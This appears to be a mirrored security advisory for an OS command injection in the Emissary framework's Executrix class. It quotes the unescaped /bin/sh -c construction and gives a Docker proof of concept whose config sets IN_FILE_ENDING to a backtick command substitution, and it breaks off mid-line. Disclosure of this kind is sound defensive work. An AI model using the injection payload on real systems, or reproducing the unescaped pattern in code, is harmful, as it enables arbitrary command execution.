返回列表

Emissary has an OS Command Injection via Unvalidated IN_FILE_ENDING / OUT_FILE_ENDING in Executrix

CVE-2026-35582RCE2026-04-13

漏洞描述

### Summary `Executrix.getCommand()` constructs shell commands by substituting temporary file paths directly into a `/bin/sh -c` string with no escaping. The `IN_FILE_ENDING` and `OUT_FILE_ENDING` configuration keys flow into those paths unmodified. A place author who sets either key to a shell metacharacter sequence achieves arbitrary OS command execution in the JVM's security context when the place processes any payload. No runtime privileges beyond place configuration authorship are required, and no API or network access is needed. This is a **framework-level defect** — `Executrix` provides no escaping mechanism and no validation on file ending values. Downstream implementors have no safe way to use the API as designed. --- ### Root Cause #### Step 1 — `IN_FILE_ENDING` flows into temp path construction without validation **[`TempFileNames.java:32-36`](src/main/java/emissary/util/shell/TempFileNames.java#L32-L36)** ```java public TempFileNames(String tmpDir, String placeName, String inFileEnding, String outFileEnding) { base = Long.toString(System.nanoTime()); tempDir = FileManipulator.mkTempFile(tmpDir, placeName); in = base + inFileEnding; // no sanitization out = base + outFileEnding; // no sanitization basePath = tempDir + File.separator + base; inputFilename = basePath + inFileEnding; // injected value lands here outputFilename = basePath + outFileEnding; // and here } ``` `inFileEnding` is concatenated directly onto a numeric base to produce `inputFilename`. No character class, no regex, no escaping. #### Step 2 — The injected path is substituted verbatim into a shell string **[`Executrix.java:1053-1065`](src/main/java/emissary/util/shell/Executrix.java#L1053-L1065)** ```java public String[] getCommand(final String[] tmpNames, final String commandArg, final int cpuLimit, final int vmSzLimit) { String c = commandArg; c = c.replaceAll("<INPUT_PATH>", tmpNames[INPATH]); // contains inFileEnding verbatim c = c.replaceAll("<OUTPUT_PATH>", tmpNames[OUTPATH]); c = c.replaceAll("<INPUT_NAME>", tmpNames[IN]); c = c.replaceAll("<OUTPUT_NAME>", tmpNames[OUT]); String ulimitv = ""; if (!SystemUtils.IS_OS_MAC) { ulimitv = "ulimit -v " + vmSzLimit + "; "; } return new String[] {"/bin/sh", "-c", "ulimit -c 0; " + ulimitv + "cd " + tmpNames[DIR] + "; " + c}; } ``` The final array element is passed to `/bin/sh -c`. Shell metacharacters in any substituted value are interpreted by the shell. The identical pattern exists in the `TempFileNames` overload at **[`Executrix.java:1103-1115`](src/main/java/emissary/util/shell/Executrix.java#L1103-L1115)**. #### Step 3 — `setInFileEnding()` and `setOutFileEnding()` perform no validation **[`Executrix.java:1176-1196`](src/main/java/emissary/util/shell/Executrix.java#L1176-L1196)** ```java public void setInFileEnding(final String argInFileEnding) { this.inFileEnding = argInFileEnding; // accepted as-is } public void setOutFileEnding(final String argOutFileEnding) { this.outFileEnding = argOutFileEnding; // accepted as-is } ``` The same absence of validation applies to the `IN_FILE_ENDING` and `OUT_FILE_ENDING` keys read from configuration at **[`Executrix.java:121-122`](src/main/java/emissary/util/shell/Executrix.java#L121-L122)**. #### Contrast: `placeName` is sanitized, file endings are not The framework already sanitizes `placeName` using a strict allowlist: ```java // Executrix.java:78 protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]"); // Executrix.java:148-150 protected static String cleanPlaceName(final String placeName) { return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_"); } ``` `placeName` ends up in `tmpNames[DIR]`, which is also embedded in the shell string. The sanitization of `placeName` demonstrates awareness that these values reach the shell — the omission of equivalent sanitization for `inFileEnding` and `outFileEnding` is the defect. --- ### Proof of Concept Two reproduction paths are provided: a Docker-based end-to-end attack against a live Emissary node (verified), and a unit-level test for CI integration. --- #### PoC 1 — Docker: end-to-end attack against a live node **Verified against Emissary 8.42.0-SNAPSHOT running in Docker on Alpine Linux.** **Environment setup** Put the `Dockerfile.poc` to `contrib/docker/` folder ``` FROM emissary:poc-base COPY emissary-8.42.0-SNAPSHOT-dist.tar.gz /tmp/ RUN tar -xf /tmp/emissary-8.42.0-SNAPSHOT-dist.tar.gz -C /opt/ \ && ln -s /opt/emissary-8.42.0-SNAPSHOT /opt/emissary \ && mkdir -p /opt/emissary/localoutput \ && mkdir -p /opt/emissary/target/data \ && chmod -R a+rw /opt/emissary \ && chown -R emissary:emissary /opt/emissary* \ && rm -f /tmp/*.tar.gz USER emissary WORKDIR /opt/emissary EXPOSE 8001 ENTRYPOINT ["./emissary"] CMD ["server", "-a", "2", "-p", "8001"] ``` ```bash # Build the distribution tarball mvn -B -ntp clean package -Pdist -DskipTests # Build and start the Docker container docker build -f contrib/docker/Dockerfile.poc -t emissary:poc contrib/docker/ docker run -d --name emissary-poc -p 8001:8001 emissary:poc # Wait for the server to start (~15s), then verify health docker exec emissary-poc sh -c \ 'curl -s http://127.0.0.1:8001/api/health | grep -o "healthy"' # healthy ``` **Step 1 — Confirm the marker file does not exist** ```bash docker exec emissary-poc sh -c 'ls /tmp/pwned.txt 2>&1' # ls: cannot access '/tmp/pwned.txt': No such file or directory ``` **Step 2 — Write the malicious place config** Write `emissary.place.UnixCommandPlace.cfg` into the server's config directory. The `EXEC_COMMAND` is a benign `cat`. The injection is entirely in `IN_FILE_ENDING` using backtick command substitution (POSIX-compatible, works on all target OS images): ```bash docker exec emissary-poc sh -c "printf \ 'SERVICE_KEY = \"LOWER_CASE.UCP.TRANSFORM.http://localhost:8001/UnixCommandPlace\$4000\"\n\ SERVICE_NAME = \"UCP\"\n\ SERVICE_TYPE = \"TRANSFORM\"\n\ PLACE_NAME = \"UnixCommandPlace\"\n\ SERVICE_COST = 4000\n\ SERVICE_QUALITY = 90\n\ SERVICE_PROXY = \"LOWER_CASE\"\n\ EXEC_COMMAND = \"cat <INPUT_PATH>\"\n\ OUTPUT_TYPE = \"STD\"\n\ IN_FILE_ENDING = \"\\\`id > /tmp/pwned.txt\\\`\"\n\ OUT_FILE_ENDING = \".out\"\n' \ > /opt/emissary/config/emissary.place.UnixCommandPlace.cfg" ``` **Step 3 — Add UnixCommandPlace to places.cfg** ```bash docker exec emissary-poc sh -c \ 'printf "\nPLACE = \"@{URL}/UnixCommandPlace\"\n" \ >> /opt/emissary/config/places.cfg' ``` **Step 4 — Restart the server to load the config** ```bash docker restart emissary-poc # wait for health: 200 docker exec emissary-poc sh -c \ 'until curl -s http://127.0.0.1:8001/api/health | grep -q healthy; do sleep 1; done; echo "ready"' ``` Startup log confirms the place loaded: ``` INFO emissary.admin.Startup - Doing local startup on UnixCommandPlace(emissary.place.UnixCommandPlace)...done! ``` **Step 5 — Drop any file into the pickup directory to trigger processing** ```bash docker exec emissary-poc sh -c \ 'echo "any data" > /opt/emissary/target/data/InputData/victim.txt' ``` The Emissary pipeline picks up the file, routes it through `UnixFilePlace` → `ToLowerPlace` → **`UnixCommandPlace`** (cost 4000, lower than `ToUpperPlace` at 5010, so it wins the routing). The injected backtick expression runs during shell argument expansion inside `getCommand()` before `cat` is even called. **Step 6 — Confirm injection executed** ```bash sleep 10 # allow pipeline processing time docker exec emissary-poc sh -c 'cat /tmp/pwned.txt' ``` **Live output (verified):** ``` uid=1000(emissary) gid=1000(emissary) groups=1000(emissary) ``` **Assembled shell string at execution time** (logged by Emissary at DEBUG level): ``` /bin/sh -c ulimit -c 0; ulimit -v 200000; cd /tmp/UnixCommandPlace8273641092; cat /tmp/UnixCommandPlace82

查看原文